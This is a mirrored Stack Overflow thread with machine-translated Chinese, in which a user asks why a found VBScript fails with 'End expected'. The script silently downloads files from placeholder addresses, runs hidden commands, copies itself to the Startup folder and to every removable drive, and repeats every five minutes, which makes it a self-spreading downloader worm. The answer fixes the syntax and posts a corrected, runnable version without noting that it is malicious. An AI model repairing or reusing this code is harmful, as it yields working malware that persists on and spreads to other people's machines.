简体   繁体   English

VBS错误结束要求

[英]vbs error end required

i'm learning vbs. 我正在学习vbs。 and i've found this code in internet. 而且我已经在互联网上找到了此代码。 Tried to run it but it won't start. 试图运行它,但无法启动。 replaced some personal data with adresssss fileeee and commandddd 用adresssss fileeee和commandddd替换了一些个人数据

On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()

Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End 
If
Next

Else
End 
If
WScript.Sleep 300000
Start()
End Function

and this code won't run?! 而且此代码将无法运行? it gives error "End expected" 它给出错误“预期结束”

Control statements have to be properly nested. 控制语句必须正确嵌套。 So even if you add the missing conditional, 因此,即使您添加了缺少的条件,

For Each d in dc
  If (d.DriveType = 1) Then
     s = d.DriveLetter
     X = fs.CopyFile("NX21.vbs", s & ":\", True)
  Else
     whatever
  End 
  If whatever Then
Next

is illegal. 是非法的。 If you'd use proper indentation, atrocities like the above would be obvious. 如果您使用适当的缩进,则上述类似的暴行将显而易见。

On second reading: Perhaps you meant: 在二读:也许您的意思是:

For Each d in dc
  If (d.DriveType = 1) Then
     s = d.DriveLetter
     X = fs.CopyFile("NX21.vbs", s & ":\", True)
  Else
     whatever
  End If ' <-- on one line please!
Next

In general: The "End X" phrases must be on one line. 通常,“ End X”短语必须在一行上。

It seems you don't understand what you are doing. 看来您不明白自己在做什么。 Try to get some basic understanding of VBScript. 尝试获得对VBScript的一些基本了解。 Do not use On error resume next because that will hide errors from you. On error resume next不要使用On error resume next因为这会向您隐藏错误。 Try to understand conditional statements , reuse objects like the Wscript.Shell, AdoDB stream and XHTTP object, set objects to Nothing the correct way, assign variables correctly, use function calls properly. 尝试理解条件语句 ,重用Wscript.Shell,AdoDB流和XHTTP对象等对象,将对象设置为Nothing正确的方式,正确分配变量,正确使用函数调用。 Use Option Explicit . 使用Option Explicit

This is how your script should look like (without testing it, just syntactical): 这是您的脚本的外观(未经测试,只是语法上):

Option Explicit

Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")

xHttp.Open "GET", "adressssssssss", False
xHttp.Send

bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite

xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite

Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0

Call Start()

Function Start()
    Dim dc, fs, d, s
    Set fs = CreateObject("Scripting.FileSystemObject")
    fs.CopyFile "NX21.vbs", Path & "\", True

    Set dc = fs.Drives
    For Each d in dc
        If d.DriveType = 1 Then
            s = d.DriveLetter
            fs.CopyFile "NX21.vbs", s & ":\", True
        Else
            ' The drivetype was not of a removable type
        End If
    Next

    WScript.Sleep 300000
    Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function

Note on the last comment: 请注意最后一条评论:
You are calling the Start() function from inside the Start() function, creating a non exitable recursive loop. 您正在从Start()函数内部调用Start()函数,从而创建了一个不可退出的递归循环。 After a few hundreds of thousands iterations you will get a Stack overflow error . 经过数十万次迭代,您将得到Stack overflow error Luckily you wait 300 seconds for each iteration so it will take several years to get to that. 幸运的是,每次迭代您需要等待300秒,因此要花上几年的时间。

Better to put the first call of the Start function (outside the function itself) in a do / loop construct: 最好将Start函数的第一次调用(在函数本身之外)放在do / loop构造中:

Do
    Call Start()
    WScript.Sleep 300000
Loop

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM